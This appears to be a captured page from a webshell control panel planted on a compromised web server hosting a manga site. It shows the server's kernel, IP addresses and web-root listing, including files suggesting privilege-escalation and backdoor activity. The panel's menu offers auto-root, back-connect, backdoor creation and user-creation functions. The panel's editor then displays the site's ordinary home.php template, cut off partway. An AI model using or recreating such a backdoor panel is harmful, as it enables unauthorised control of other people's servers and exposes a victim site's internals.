Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangapix /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
berribo
[ DIR ]
drwxrwxrwx
cherribo
[ DIR ]
drwxrwxrwx
mangas
[ DIR ]
drwxrwxrwx
spicybo
[ DIR ]
drwxrwxrwx
404.php
5.15
KB
-rw-rw-r--
528a3369db0e4160899e.txt
20
B
-rw-rw-r--
55b01d0d19.php
6.42
KB
-rw-rw-r--
BingSiteAuth.xml
85
B
-rw-rw-r--
OS_1.png
431.44
KB
-rw-rw-r--
OS_2.png
234.1
KB
-rw-rw-r--
actions.php
4.3
KB
-rw-rw-r--
ads.php
1.99
KB
-rw-rw-r--
ads.txt
114.42
KB
-rw-rw-r--
android_1.png
201.87
KB
-rw-rw-r--
android_2.png
218.54
KB
-rw-rw-r--
ava.jpg
54.06
KB
-rw-r--r--
berripix_banner.jpg
107.77
KB
-rw-rw-r--
berripix_indexbg.mp4
8.34
MB
-rw-rw-r--
config.php
3.95
KB
-rw-rw-r--
datasource.php
3.07
KB
-rw-r--r--
dbhelper.php
33.6
KB
-rw-rw-r--
dl_ads.php
125
B
-rw-rw-r--
dmca.php
8.67
KB
-rw-rw-r--
favicon.ico
67.58
KB
-rw-rw-r--
favicon.png
22.96
KB
-rw-rw-r--
favorites.php
89.96
KB
-rw-rw-r--
fireworks.php
15.13
KB
-rw-rw-r--
footer.php
7.98
KB
-rw-rw-r--
genre.php
16.02
KB
-rw-rw-r--
head.php
916
B
-rw-rw-r--
header.php
16.5
KB
-rw-rw-r--
history.php
6.76
KB
-rw-rw-r--
home.php
49.7
KB
-rw-rw-r--
ht_ads1.php
397
B
-rw-rw-r--
ht_ads2.php
398
B
-rw-rw-r--
ht_ads3.php
86.95
KB
-rw-rw-r--
icon.ico
148.56
KB
-rw-rw-r--
icon_snow.png
3.29
KB
-rw-rw-r--
index.php
22.68
KB
-rwxrwxrwx
index_empty.php
17
B
-rw-rw-r--
install_webapp.php
6.47
KB
-rw-rw-r--
log.txt
1.44
MB
-rw-r--r--
logo.png
43.75
KB
-rw-rw-r--
logo_dark.7c81824.png
70.25
KB
-rw-rw-r--
logo_light.d9991b5.png
83.33
KB
-rw-rw-r--
logo_white.f5e6e19.png
83.33
KB
-rw-rw-r--
manga_og.jpg
73.34
KB
-rw-rw-r--
mangaberri_banner.png
196.52
KB
-rw-rw-r--
mangaberri_vid.mp4
6.99
MB
-rw-rw-r--
mangabg.png
242.94
KB
-rw-rw-r--
manifest.json
432
B
-rw-rw-r--
mass.php
703
B
-rw-r--r--
mass.txt
703
B
-rw-r--r--
most-viewed.php
10.81
KB
-rw-rw-r--
new-manga.php
15.92
KB
-rw-rw-r--
new.php
0
B
-rw-rw-r--
outputter.php
0
B
-rw-rw-r--
privacy-policy.php
13.89
KB
-rw-rw-r--
protected.php
668
B
-rw-rw-r--
pubfuture_ads.php
107
B
-rw-rw-r--
pwnkit
0
B
-rw-r--r--
read-manga.php
52.76
KB
-rw-rw-r--
reading.php
32.03
KB
-rw-rw-r--
req1.php
31
B
-rw-r--r--
robots.txt
69
B
-rw-rw-r--
romance.jpg
84.7
KB
-rw-rw-r--
script.php
1.71
KB
-rw-rw-r--
search.php
16.56
KB
-rw-rw-r--
seo.php
1.21
KB
-rw-rw-r--
sign-in.php
6.88
KB
-rw-rw-r--
sitemap.xml
231.05
KB
-rw-rw-r--
snowflake.php
4.55
KB
-rw-rw-r--
style_css.php
102.1
KB
-rw-rw-r--
terms-of-service.php
24.93
KB
-rw-rw-r--
test-eval.php
406
B
-rw-rw-r--
test.php
28
B
-rw-rw-r--
uknown_user.e5ec11a.png
1.25
KB
-rw-rw-r--
weekly-manga.php
15.91
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : home.php
<!DOCTYPE html> <html lang="en" data-fp="5h93d476r16"> <?php require_once(__DIR__ . "/dbhelper.php"); $dbhelper = new DBHelper(); $mangas = $dbhelper->getAllMangas(); $latestUpdate = $dbhelper->getLatestUpdateChapter(); $mostViews = $dbhelper->getAllTimeMangaViewRanking(); $encryptionKey = $dbhelper->getEncryptionKey(); ?> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Read Ecchi Manga Online Free Romance Manhwa and Manhua at Berripix</title> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1"> <meta data-n-head="ssr" name="format-detection" content="telephone=no"> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta data-n-head="ssr" data-hid="robots" name="robots" content="index, follow, all"> <meta data-n-head="ssr" data-hid="googlebot" name="googlebot" content="index, follow, all"> <link rel="manifest" href="manifest.json" /> <link data-n-head="ssr" rel="icon" variant="image/x-icon" href="/favicon.ico?v=1"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.min.css"> <link rel="apple-touch-icon" href="/favicon.ico?v=1"> <link data-n-head="ssr" rel="canonical" href="https://berripix.com/home.php"> <meta data-n-head="ssr" data-hid="title" name="title" content="Read Ecchi Manga Online Free Romance Manhwa and Manhua at Berripix"> <meta data-n-head="ssr" data-hid="og:title" property="og:title" name="og:title" content="Read Ecchi Manga Online Free Romance Manhwa and Manhua at Berripix"> <meta data-n-head="ssr" data-hid="description" name="description" content="Read the best ecchi manga online romance Manhwa and Manhua at Berripix. Discover love stories, mature romance, and seductive manga updated daily."> <meta data-n-head="ssr" data-hid="og:description" property="og:description" name="og:description" content="Read the best ecchi manga online romance Manhwa and Manhua at Berripix. Discover love stories, mature romance, and seductive manga updated daily."> <meta data-n-head="ssr" data-hid="og:site_name" property="og:site_name" content="berripix.com"> <meta data-n-head="ssr" data-hid="og:url" name="og:url" content="https://berripix.com/"> <meta data-n-head="ssr" data-hid="i18n-og" property="og:locale" content="en"> <meta data-n-head="ssr" data-hid="og:image" property="og:image" content="https://berripix.com/manga_og.jpg?v=1" /> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "WebSite", "name": "berripix Online", "url": "https://berripix.com", "potentialAction": { "@type": "SearchAction", "target": "https://berripix.com/search.php?keyword={search_term_string}", "query-input": "required name=search_term_string" } } </script> <meta name="google-site-verification" content="YULd1GhfMynwxPugmLTElcmJVJ7q6sAzsVGQdIk7qm4" /> <meta name="msvalidate.01" content="8DEBA80837A6BEDE2964C7C9400F85E1" /> <?php include('head.php'); ?> <!--<script async data-cfasync="false" src="https://cdn.pubfuture-ad.com/v2/unit/pt.js" type="text/javascript"></script>--> </head> <?php include('style_css.php'); ?> <body class="dark-mode"> <style> .owl-theme img { width: 100%; min-height: 200px; } .owl-carousel .owl-prev, .owl-carousel .owl-next { position: absolute; top: 40%; transform: translateY(-50%); background-color: rgb(212, 212, 212) !important; color: #000 !important; font-size: 1.5em !important; width: 40px; height: 40px; border-radius: 100% !important; font-weight: bold; padding: 15px !important; text-align: center; } .owl-carousel .owl-prev:hover, .owl-carousel .owl-next:hover { background-color: #ffb300 !important; color: #000 !important; } .owl-carousel .owl-prev { left: -30px; } .owl-carousel .owl-next { right: -30px; } .owl-theme .owl-dots .owl-dot.active span { background: #ffb300 !important; width: 25px; transition: 0.2s ease-in-out; } .owl-theme .owl-dots .owl-dot:hover span { background: #ffb300 !important; transition: 0.2s ease-in-out; } /* Responsive design custom css */ .desktop-view { display: block; } .mobile-view { display: none; } @media only screen and (max-width:480px) { .owl-theme .owl-dots .owl-dot { display: none; } .owl-carousel .owl-prev, .owl-carousel .owl-next { width: 30px; height: 30px; font-size: 14px !important; top: 45%; box-shadow: 0px 0px 0px 0px #000; } .owl-carousel .owl-prev { left: 0px; } .owl-carousel .owl-next { right: 0px; } .desktop-view { display: none; } .mobile-view { display: block; } } .myButtonad { position: relative; z-index: 1; /* Ensure button is above the layer initially */ } /* Style for the clickable overlay layer */ .click-layer { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.1); z-index: 999; /* Make sure the layer is on top of the button */ cursor: pointer; } </style> <div id="__nuxt"> <!----> <div id="__layout"> <div class="default-container" data-v-5fa6951a=""> <?php include('header.php'); ?> <div id="main-container" class="content-container" data-v-5fa6951a=""> <div data-v-e49fcc30="" data-v-5fa6951a=""> <!--<h2 data-v-189babae="" class="container" style=" font-weight: 700; font-size: 1.1rem; width: 100%; height: auto; max-width: 340px; margin: 30px auto; text-align: center; padding: 10px; border: 3px dotted #f00; ">Happy New Year to all our beloved readers. Thank you for supporting us all this while. ❤️</h2>--> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3" style="text-align:center; margin: 0px auto 20px; background: #414141;"> Join our<a href="https://discord.gg/bmB5fzy4eg" style="color:#ffb300;"> Discord </a>for support, chit chat and discussion. </div> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <div data-v-e49fcc30="" data-v-ca6cf050="" class="flex-fill column"> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <script> (function(nxdv){ var d = document, s = d.createElement('script'), l = d.scripts[d.scripts.length - 1]; s.settings = nxdv || {}; s.src = "\/\/simplistic-recover.com\/bMX\/V.sSdiGll\/0nY\/W-cW\/veRmI9HucZ\/UNlJkmPFTSYt0wM_Tbk\/2eOHTSIStnNHjFQZxnO\/T\/YJ5cMzwO"; s.async = true; s.referrerPolicy = 'no-referrer-when-downgrade'; l.parentNode.insertBefore(s, l); })({}) </script> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desktop-view"> <div id="pf-12511-1" style="left: -125px!important;"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4ccfe7f6e2003fff4bb2", id: "pf-12511-1"})</script></div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 mobile-view"> <div id="pf-12509-1"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4c9fe7f6e2003fff4b40", id: "pf-12509-1"})</script></div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <a href="https://berripix.com"><img src="ads/berripix/berripix.jpg?v=1" alt="BerriPix.com" title="BerriPix.com" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div>--> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <img src="berripix_banner.jpg?v=3" alt="berripix Banner" title="berripix Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"> </div> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> Welcome to the Ultimate Destination for Ecchi Manga Online! Dive into a vast collection of ecchi manga, updated regularly with the latest chapters. Whether you're a fan of romantic comedies, spicy action, or school-life fantasies, our site offers a smooth reading experience and a wide range of titles to suit every taste. Enjoy uncensored, popular and explore new and classic series—all available to read for free online, anytime, anywhere. <br><br> Start reading your favorite ecchi manga now! </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 class="section-title" data-v-189babae="" style="color:#ffb300;"> Popular Today </h2> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider1"> <?php foreach ($mangas as $m) { ?> <?php if (!empty($m['latest_chapter'])) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= $m['display_image'] ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" title=" <?= $m['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> <?php } ?> </div> </section> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> Ecchi manga is loved for its fun and lighthearted style. Fans enjoy the charming characters, romantic tension, and creative plots. Whether you're into school life, fantasy worlds, or slice-of-life stories, ecchi manga adds a playful twist that keeps readers entertained. With new chapters always coming out, it's a favorite choice for readers who want something fun, spicy, and easy to enjoy online. <br><br> Check out all the <a href="new-manga.php">latest mangas update</a> now !! </div> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <?php include('ht_ads1.php'); ?> </div> <!--<br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="display: flex; flex-direction: column; align-items: center;"> <style> .options { padding: 8px; margin: 0px; border: 0px; width: 120px; background-color: #444; margin: 0px 10px; font-size: 0.9em; color: #fff; border-radius: 15px; } #option1 { background-color: #2b7958; } #option2 { background-color: #831f70; } #Cont { position: relative; display: flex; width: 300px; height: 30px; margin: 0px 10px; background-color: #fff; display: flex; align-items: center; justify-content: center; border-radius: 15px; overflow: hidden; } .bar { justify-content: center; position: relative; display: flex; height: 100%; display: flex; transition: 200ms all; align-items: center; font-size: 0.7rem; } #bar1 { background-color: #2b7958; width: 150px; } #bar2 { background-color: #831f70; width: 150px; } #header { width: 100%; display: flex; align-items: center; justify-content: center; color: #fff; height: 20px; font-size: 1.3em; margin-top: 30px; } #totalCount { margin-left: 20px; } .perc { display: flex; justify-content: center; align-items: center; color: #fff; background-color: #5b007b; border-radius: 50%; height: 38px; width: 100%; max-width: 40px; font-size: 0.7em; } .barCounter { display: flex; justify-content: center; align-items: center; color: #fff; height: 5px; width: 140px; font-size: 1em; margin-bottom: 30px; } </style> <div class="row"> <div id="header"> Next Manga Voting Polls <p id="totalCount"> 0</p> </div> </div> <div class="row" style="align-items: center; width:100%; justify-content: center;"> <p class="perc" id="bar1perc">0%</p> <div id="Cont"> <div class="bar" id="bar1"> </div> <div class="bar" id="bar2"> </div> </div> <p class="perc" id="bar2perc">0%</p> </div> <div class="row"> <button class="options" id="option1"> Naruto </button> <button class="options" id="option2"> Attack On Titan </button> </div> <div class="row"> <p class="barCounter" id="bar1Count">0</p> <p class="barCounter" id="bar2Count">0</p> </div> <script> var bar1Counter = 0; var bar2Counter = 0; var totalCount = 0; $(document).ready(function () { getPollingResult() function addPolling(value) { var params = { action: 'add_polling_selection', selection: value }; $.ajax({ url: 'actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Selection submited', showConfirmButton: true }).then(function() { //location.reload(); getPollingResult() }); } else { Swal.fire({ icon: 'error', title: 'Your selection already submmited', showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function getPollingResult() { var params = { action: 'get_polling_result' }; $.ajax({ url: 'actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.result) { $.each(result.result, function(index, value) { if(value.selection === 1) { bar1Counter = value.total $("#bar1Count").text( bar1Counter ); } if(value.selection === 2) { bar2Counter = value.total $("#bar2Count").text( bar2Counter ); } totalCount += value.total; updatePollResult() }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function updatePollResult() { $("#totalCount").text( totalCount );var bar1Perc = ((bar1Counter / totalCount) * 100).toFixed(0); $("#bar1perc").text(bar1Perc + "%"); var bar2Perc = ((bar2Counter / totalCount) * 100).toFixed(0); $("#bar2perc ").text(bar2Perc + "%"); $("#bar1").width((300 * bar1Counter) / totalCount); $("#bar2").width((300 * bar2Counter) / totalCount); } $("#option1").click(function () { addPolling(1) }); $("#option2").click(function () { addPolling(2) }); }); </script> </div>--> <br> <div data-v-189babae="" data-v-e49fcc30="" class="section-container p-3 my-2 mt-3" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="new-manga.php" style="text-decoration: none!important; color: #ffb300!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ffb300!important;"> Latest Update </h2> </a> <a data-v-fb154981="" href="new-manga.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex; text-decoration: none!important; color: #ffb300!important;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #ffb300!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-e49fcc30="" data-v-189babae="" class="grid-horizontal-items"> <?php foreach ($latestUpdate as $lu) { ?> <div data-v-666e9941="" data-v-e49fcc30="" class="manga-horizontal-item row" data-v-189babae=""> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration myButtonad" title="<?= $lu['title'] ?>"> <img data-v-a1ebd7c8="" data-v-666e9941="" src="<?= $lu['display_image'] ?>" alt="Garbage Time" title="<?= $lu['title'] ?>" loading="lazy"> </a> <div data-v-666e9941="" class="column ml-3 flex-fill"> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration bold one-line myButtonad" title="<?= $lu['title'] ?>"> <?= $lu['title'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($lu['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> <span data-v-666e9941="" class="my-1 one-line"> <span data-v-70d8a0c4="" data-v-666e9941="" class="text grey small" data-v-3e2b49c6="">Genres: </span> <?php $genres = explode(", ", $lu['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genre.php?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </span> <?php $mlc = $dbhelper->getLatestChapter($lu['id']); ?> <?php foreach ($mlc as $lc) { ?> <div data-v-00ecdcd6="" data-v-666e9941="" class="row align-center my-1"><a data-v-74ec4422="" data-v-00ecdcd6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) . '/' . $lc['id'] ?>" class="link no-decoration episode mr-auto myButtonad" title="<?= $lc['name'] ?>"> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="one-line text default tiny"> <?= $lc['name'] ?> </span> </a> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="episode-date text grey tiny"> <?php $upload_date = new DateTime($lc['created']); $now_date = new DateTime(); $diff = $upload_date->diff($now_date); ?> <?= $diff->y ? $diff->y . ' years' : '' ?> <?php if ($diff->y == 0) { ?> <?= $diff->m ? $diff->m . ' months' : '' ?> <?php if ($diff->m == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if ($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if ($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago </span> </div> <?php } ?> </div> </div> <?php } ?> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> Ecchi manga is a popular genre in Japanese comics that mixes humor, romance, and light fan service. Known for its playful and suggestive themes, ecchi manga often features attractive characters, funny situations, and a bit of teasing—without going into full adult content. It's perfect for fans who enjoy a mix of comedy, flirtation, and exciting storylines. <br><br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <?php include('ht_ads2.php'); ?> </div> <br> These are berripix's <a href="most-viewed.php">Most Viewed Mangas</a> by all the readers. Well, Top 3 usually are the hotest Mangas and rated 5 stars. </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="margin-top:20px;"> <a href="https://mangacherri.com/home.php"><img src="romance.jpg?v=3" alt="Mangacherri Banner" title="Mangacherri Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="most-viewed.php" style="text-decoration: none!important; color: #ffb300!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ffb300!important;"> Most Viewed </h2> </a> <a data-v-fb154981="" href="most-viewed.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center; text-decoration: none!important; color: #ffb300!important;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #ffb300!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider2"> <?php foreach ($mostViews as $m) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link 